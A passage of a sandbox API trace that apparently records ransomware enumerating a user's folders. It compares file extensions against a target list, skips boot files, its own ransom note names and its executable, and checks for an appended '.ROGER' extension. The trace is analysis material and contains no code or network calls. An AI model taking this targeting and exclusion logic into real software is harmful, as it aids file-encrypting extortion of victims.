ftLastAccessTime.dwLowDateTime=0x83617ff0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83617ff0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.209] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836158e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83617ff0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83617ff0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.209] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83617ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83617ff0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83997fe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x426b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.209] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.209] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.209] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8361ce10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8361f520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8361f520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh", cAlternateFileName="")) returned 1 [0057.209] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8361ce10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8361f520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8361f520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.209] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8361ce10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8361f520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8361f520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.210] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8361f520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8361f520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8399a6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3d11, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.210] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.210] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.210] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83624340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8362b870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8362b870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0057.210] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83624340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8362b870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8362b870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.211] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83624340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8362b870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8362b870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.211] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8362b870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8362b870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8399a6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.211] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.211] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.211] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83624340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8362b870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8362b870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0057.211] FindClose (in: hFindFile=0x7cbdd0 | out: hFindFile=0x7cbdd0) returned 1 [0057.211] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e900b0 | out: hHeap=0x790000) returned 1 [0057.211] FindNextFileW (in: hFindFile=0x7cbe50, lpFindFileData=0x45fe1ac | out: lpFindFileData=0x45fe1ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836ddc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839fe880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839fe880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1 [0057.757] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig") returned 1 [0057.757] lstrlenW (lpString="TaskSchedulerConfig") returned 19 [0057.757] lstrcmpiW (lpString1="C:\\Windows", lpString2="TaskSchedulerConfig") returned -1 [0057.757] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x5390060 [0057.757] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig") returned 73 [0057.758] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\*", lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb990 [0057.758] FindNextFileW (in: hFindFile=0x7cb990, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.758] FindNextFileW (in: hFindFile=0x7cb990, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0057.758] FindClose (in: hFindFile=0x7cb990 | out: hFindFile=0x7cb990) returned 1 [0057.759] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5390060 | out: hHeap=0x790000) returned 1 [0057.759] FindNextFileW (in: hFindFile=0x7cba50, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio", cAlternateFileName="")) returned 1 [0057.759] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio") returned 59 [0057.759] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio") returned 1 [0057.759] lstrlenW (lpString="Visio") returned 5 [0057.759] lstrcmpiW (lpString1="C:\\Windows", lpString2="Visio") returned -1 [0057.759] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x5390060 [0057.759] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio") returned 59 [0057.759] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\*", lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb990 [0057.759] FindNextFileW (in: hFindFile=0x7cb990, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.759] FindNextFileW (in: hFindFile=0x7cb990, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5ef99320, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5efe55e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x18ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content14.dat", cAlternateFileName="CONTEN~1.DAT")) returned 1 [0057.759] lstrlenW (lpString="content14.dat") returned 13 [0057.759] lstrlenW (lpString=".1cd") returned 4 [0057.759] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0057.759] lstrlenW (lpString=".3ds") returned 4 [0057.759] lstrcmpiW (lpString1=".3ds", lpString2=".dat") returned -1 [0057.760] lstrlenW (lpString=".3fr") returned 4 [0057.760] lstrcmpiW (lpString1=".3fr", lpString2=".dat") returned -1 [0057.760] lstrlenW (lpString=".3g2") returned 4 [0057.760] lstrcmpiW (lpString1=".3g2", lpString2=".dat") returned -1 [0057.760] lstrlenW (lpString=".3gp") returned 4 [0057.760] lstrcmpiW (lpString1=".3gp", lpString2=".dat") returned -1 [0057.760] lstrlenW (lpString=".7z") returned 3 [0057.760] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0057.760] lstrlenW (lpString=".accda") returned 6 [0057.760] lstrcmpiW (lpString1=".accda", lpString2="14.dat") returned -1 [0057.760] lstrlenW (lpString=".accdb") returned 6 [0057.760] lstrcmpiW (lpString1=".accdb", lpString2="14.dat") returned -1 [0057.760] lstrlenW (lpString=".accdc") returned 6 [0057.760] lstrcmpiW (lpString1=".accdc", lpString2="14.dat") returned -1 [0057.760] lstrlenW (lpString=".accde") returned 6 [0057.760] lstrcmpiW (lpString1=".accde", lpString2="14.dat") returned -1 [0057.760] lstrlenW (lpString=".accdt") returned 6 [0057.760] lstrcmpiW (lpString1=".accdt", lpString2="14.dat") returned -1 [0057.760] lstrlenW (lpString=".accdw") returned 6 [0057.760] lstrcmpiW (lpString1=".accdw", lpString2="14.dat") returned -1 [0057.760] lstrlenW (lpString=".adb") returned 4 [0057.760] lstrcmpiW (lpString1=".adb", lpString2=".dat") returned -1 [0057.760] lstrlenW (lpString=".adp") returned 4 [0057.760] lstrcmpiW (lpString1=".adp", lpString2=".dat") returned -1 [0057.760] lstrlenW (lpString=".ai") returned 3 [0057.760] lstrcmpiW (lpString1=".ai", lpString2="dat") returned -1 [0057.760] lstrlenW (lpString=".ai3") returned 4 [0057.760] lstrcmpiW (lpString1=".ai3", lpString2=".dat") returned -1 [0057.760] lstrlenW (lpString=".ai4") returned 4 [0057.760] lstrcmpiW (lpString1=".ai4", lpString2=".dat") returned -1 [0057.760] lstrlenW (lpString=".ai5") returned 4 [0057.760] lstrcmpiW (lpString1=".ai5", lpString2=".dat") returned -1 [0057.760] lstrlenW (lpString=".ai6") returned 4 [0057.760] lstrcmpiW (lpString1=".ai6", lpString2=".dat") returned -1 [0057.761] lstrlenW (lpString=".ai7") returned 4 [0057.761] lstrcmpiW (lpString1=".ai7", lpString2=".dat") returned -1 [0057.761] lstrlenW (lpString=".ai8") returned 4 [0057.761] lstrcmpiW (lpString1=".ai8", lpString2=".dat") returned -1 [0057.761] lstrlenW (lpString=".anim") returned 5 [0057.761] lstrcmpiW (lpString1=".anim", lpString2="4.dat") returned -1 [0057.761] lstrlenW (lpString=".arw") returned 4 [0057.761] lstrcmpiW (lpString1=".arw", lpString2=".dat") returned -1 [0057.761] lstrlenW (lpString=".as") returned 3 [0057.761] lstrcmpiW (lpString1=".as", lpString2="dat") returned -1 [0057.761] lstrlenW (lpString=".asa") returned 4 [0057.761] lstrcmpiW (lpString1=".asa", lpString2=".dat") returned -1 [0057.761] lstrlenW (lpString=".asc") returned 4 [0057.761] lstrcmpiW (lpString1=".asc", lpString2=".dat") returned -1 [0057.761] lstrlenW (lpString=".ascx") returned 5 [0057.761] lstrcmpiW (lpString1=".ascx", lpString2="4.dat") returned -1 [0057.761] lstrlenW (lpString=".asm") returned 4 [0057.761] lstrcmpiW (lpString1=".asm", lpString2=".dat") returned -1 [0057.761] lstrlenW (lpString=".asmx") returned 5 [0057.761] lstrcmpiW (lpString1=".asmx", lpString2="4.dat") returned -1 [0057.761] lstrlenW (lpString=".asp") returned 4 [0057.761] lstrcmpiW (lpString1=".asp", lpString2=".dat") returned -1 [0057.761] lstrlenW (lpString=".aspx") returned 5 [0057.761] lstrcmpiW (lpString1=".aspx", lpString2="4.dat") returned -1 [0057.761] lstrlenW (lpString=".asr") returned 4 [0057.761] lstrcmpiW (lpString1=".asr", lpString2=".dat") returned -1 [0057.761] lstrlenW (lpString=".asx") returned 4 [0057.761] lstrcmpiW (lpString1=".asx", lpString2=".dat") returned -1 [0057.761] lstrlenW (lpString=".avi") returned 4 [0057.761] lstrcmpiW (lpString1=".avi", lpString2=".dat") returned -1 [0057.761] lstrlenW (lpString=".avs") returned 4 [0057.761] lstrcmpiW (lpString1=".avs", lpString2=".dat") returned -1 [0057.761] lstrlenW (lpString=".backup") returned 7 [0057.761] lstrcmpiW (lpString1=".backup", lpString2="t14.dat") returned -1 [0057.762] lstrlenW (lpString=".bak") returned 4 [0057.762] lstrcmpiW (lpString1=".bak", lpString2=".dat") returned -1 [0057.762] lstrlenW (lpString=".bay") returned 4 [0057.762] lstrcmpiW (lpString1=".bay", lpString2=".dat") returned -1 [0057.762] lstrlenW (lpString=".bd") returned 3 [0057.762] lstrcmpiW (lpString1=".bd", lpString2="dat") returned -1 [0057.762] lstrlenW (lpString=".bin") returned 4 [0057.762] lstrcmpiW (lpString1=".bin", lpString2=".dat") returned -1 [0057.762] lstrlenW (lpString=".bmp") returned 4 [0057.762] lstrcmpiW (lpString1=".bmp", lpString2=".dat") returned -1 [0057.762] lstrlenW (lpString=".bz2") returned 4 [0057.762] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0057.762] lstrlenW (lpString=".c") returned 2 [0057.762] lstrcmpiW (lpString1=".c", lpString2="at") returned -1 [0057.762] lstrlenW (lpString=".cdr") returned 4 [0057.762] lstrcmpiW (lpString1=".cdr", lpString2=".dat") returned -1 [0057.762] lstrlenW (lpString=".cer") returned 4 [0057.762] lstrcmpiW (lpString1=".cer", lpString2=".dat") returned -1 [0057.762] lstrlenW (lpString=".cf") returned 3 [0057.762] lstrcmpiW (lpString1=".cf", lpString2="dat") returned -1 [0057.762] lstrlenW (lpString=".cfc") returned 4 [0057.762] lstrcmpiW (lpString1=".cfc", lpString2=".dat") returned -1 [0057.762] lstrlenW (lpString=".cfm") returned 4 [0057.762] lstrcmpiW (lpString1=".cfm", lpString2=".dat") returned -1 [0057.762] lstrlenW (lpString=".cfml") returned 5 [0057.762] lstrcmpiW (lpString1=".cfml", lpString2="4.dat") returned -1 [0057.762] lstrlenW (lpString=".cfu") returned 4 [0057.762] lstrcmpiW (lpString1=".cfu", lpString2=".dat") returned -1 [0057.762] lstrlenW (lpString=".chm") returned 4 [0057.762] lstrcmpiW (lpString1=".chm", lpString2=".dat") returned -1 [0057.762] lstrlenW (lpString=".cin") returned 4 [0057.762] lstrcmpiW (lpString1=".cin", lpString2=".dat") returned -1 [0057.762] lstrlenW (lpString=".class") returned 6 [0057.762] lstrcmpiW (lpString1=".class", lpString2="14.dat") returned -1 [0057.763] lstrlenW (lpString=".clx") returned 4 [0057.763] lstrcmpiW (lpString1=".clx", lpString2=".dat") returned -1 [0057.763] lstrlenW (lpString=".config") returned 7 [0057.763] lstrcmpiW (lpString1=".config", lpString2="t14.dat") returned -1 [0057.763] lstrlenW (lpString=".cpp") returned 4 [0057.763] lstrcmpiW (lpString1=".cpp", lpString2=".dat") returned -1 [0057.763] lstrlenW (lpString=".cr2") returned 4 [0057.763] lstrcmpiW (lpString1=".cr2", lpString2=".dat") returned -1 [0057.763] lstrlenW (lpString=".crt") returned 4 [0057.763] lstrcmpiW (lpString1=".crt", lpString2=".dat") returned -1 [0057.763] lstrlenW (lpString=".crw") returned 4 [0057.763] lstrcmpiW (lpString1=".crw", lpString2=".dat") returned -1 [0057.763] lstrlenW (lpString=".cs") returned 3 [0057.763] lstrcmpiW (lpString1=".cs", lpString2="dat") returned -1 [0057.763] lstrlenW (lpString=".css") returned 4 [0057.763] lstrcmpiW (lpString1=".css", lpString2=".dat") returned -1 [0057.763] lstrlenW (lpString=".csv") returned 4 [0057.763] lstrcmpiW (lpString1=".csv", lpString2=".dat") returned -1 [0057.763] lstrlenW (lpString=".cub") returned 4 [0057.763] lstrcmpiW (lpString1=".cub", lpString2=".dat") returned -1 [0057.763] lstrlenW (lpString=".dae") returned 4 [0057.763] lstrcmpiW (lpString1=".dae", lpString2=".dat") returned -1 [0057.763] lstrlenW (lpString=".dat") returned 4 [0057.763] lstrcmpiW (lpString1=".dat", lpString2=".dat") returned 0 [0057.763] lstrlenW (lpString="content14.dat") returned 13 [0057.763] lstrlenW (lpString=".ROGER") returned 6 [0057.763] lstrcmpiW (lpString1=".ROGER", lpString2="14.dat") returned -1 [0057.763] lstrlenW (lpString="content14.dat") returned 13 [0057.763] lstrcmpiW (lpString1="boot.ini", lpString2="content14.dat") returned -1 [0057.763] lstrcmpiW (lpString1="bootfont.bin", lpString2="content14.dat") returned -1 [0057.763] lstrcmpiW (lpString1="ntldr", lpString2="content14.dat") returned 1 [0057.763] lstrcmpiW (lpString1="ntdetect.com", lpString2="content14.dat") returned 1 [0057.763] lstrcmpiW (lpString1="io.sys", lpString2="content14.dat") returned 1 [0057.764] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="content14.dat") returned 1 [0057.764] lstrcmpiW (lpString1="Info.hta", lpString2="content14.dat") returned 1 [0057.764] lstrcmpiW (lpString1="ContinuumLoosely.exe", lpString2="content14.dat") returned 1 [0057.764] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\content14.dat") returned 73 [0057.764] FindNextFileW (in: hFindFile=0x7cb990, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x976e3d80, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x976e3d80, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x5f055ac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="thumbs.dat", cAlternateFileName="")) returned 1 [0057.764] lstrlenW (lpString="thumbs.dat") returned 10 [0057.764] lstrlenW (lpString=".1cd") returned 4 [0057.764] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0057.764] lstrlenW (lpString=".3ds") returned 4 [0057.764] lstrcmpiW (lpString1=".3ds", lpString2=".dat") returned -1 [0057.764] lstrlenW (lpString=".3fr") returned 4 [0057.764] lstrcmpiW (lpString1=".3fr", lpString2=".dat") returned -1 [0057.764] lstrlenW (lpString=".3g2") returned 4 [0057.764] lstrcmpiW (lpString1=".3g2", lpString2=".dat") returned -1 [0057.764] lstrlenW (lpString=".3gp") returned 4 [0057.764] lstrcmpiW (lpString1=".3gp", lpString2=".dat") returned -1 [0057.764] lstrlenW (lpString=".7z") returned 3 [0057.764] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0057.764] lstrlenW (lpString=".accda") returned 6 [0057.764] lstrcmpiW (lpString1=".accda", lpString2="bs.dat") returned -1 [0057.764] lstrlenW (lpString=".accdb") returned 6 [0057.764] lstrcmpiW (lpString1=".accdb", lpString2="bs.dat") returned -1 [0057.764] lstrlenW (lpString=".accdc") returned 6 [0057.764] lstrcmpiW (lpString1=".accdc", lpString2="bs.dat") returned -1 [0057.764] lstrlenW (lpString=".accde") returned 6 [0057.764] lstrcmpiW (lpString1=".accde", lpString2="bs.dat") returned -1 [0057.764] lstrlenW (lpString=".accdt") returned 6 [0057.764] lstrcmpiW (lpString1=".accdt", lpString2="bs.dat") returned -1 [0057.764] lstrlenW (lpString=".accdw") returned 6 [0057.764] lstrcmpiW (lpString1=".accdw", lpString2="bs.dat") returned -1 [0057.764] lstrlenW (lpString=".adb") returned 4 [0057.765] lstrcmpiW (lpString1=".adb", lpString2=".dat") returned -1 [0057.765] lstrlenW (lpString=".adp") returned 4 [0057.765] lstrcmpiW (lpString1=".adp", lpString2=".dat") returned -1 [0057.765] lstrlenW (lpString=".ai") returned 3 [0057.765] lstrcmpiW (lpString1=".ai", lpString2="dat") returned -1 [0057.765] lstrlenW (lpString=".ai3") returned 4 [0057.765] lstrcmpiW (lpString1=".ai3", lpString2=".dat") returned -1 [0057.765] lstrlenW (lpString=".ai4") returned 4 [0057.765] lstrcmpiW (lpString1=".ai4", lpString2=".dat") returned -1 [0057.765] lstrlenW (lpString=".ai5") returned 4 [0057.765] lstrcmpiW (lpString1=".ai5", lpString2=".dat") returned -1 [0057.765] lstrlenW (lpString=".ai6") returned 4 [0057.765] lstrcmpiW (lpString1=".ai6", lpString2=".dat") returned -1 [0057.765] lstrlenW (lpString=".ai7") returned 4 [0057.765] lstrcmpiW (lpString1=".ai7", lpString2=".dat") returned -1 [0057.765] lstrlenW (lpString=".ai8") returned 4 [0057.765] lstrcmpiW (lpString1=".ai8", lpString2=".dat") returned -1 [0057.765] lstrlenW (lpString=".anim") returned 5 [0057.765] lstrcmpiW (lpString1=".anim", lpString2="s.dat") returned -1 [0057.765] lstrlenW (lpString=".arw") returned 4 [0057.765] lstrcmpiW (lpString1=".arw", lpString2=".dat") returned -1 [0057.765] lstrlenW (lpString=".as") returned 3 [0057.765] lstrcmpiW (lpString1=".as", lpString2="dat") returned -1 [0057.765] lstrlenW (lpString=".asa") returned 4 [0057.765] lstrcmpiW (lpString1=".asa", lpString2=".dat") returned -1 [0057.765] lstrlenW (lpString=".asc") returned 4 [0057.765] lstrcmpiW (lpString1=".asc", lpString2=".dat") returned -1 [0057.765] lstrlenW (lpString=".ascx") returned 5 [0057.765] lstrcmpiW (lpString1=".ascx", lpString2="s.dat") returned -1 [0057.765] lstrlenW (lpString=".asm") returned 4 [0057.765] lstrcmpiW (lpString1=".asm", lpString2=".dat") returned -1 [0057.765] lstrlenW (lpString=".asmx") returned 5 [0057.765] lstrcmpiW (lpString1=".asmx", lpString2="s.dat") returned -1 [0057.765] lstrlenW (lpString=".asp") returned 4 [0057.766] lstrcmpiW (lpString1=".asp", lpString2=".dat") returned -1 [0057.766] lstrlenW (lpString=".aspx") returned 5 [0057.766] lstrcmpiW (lpString1=".aspx", lpString2="s.dat") returned -1 [0057.766] lstrlenW (lpString=".asr") returned 4 [0057.766] lstrcmpiW 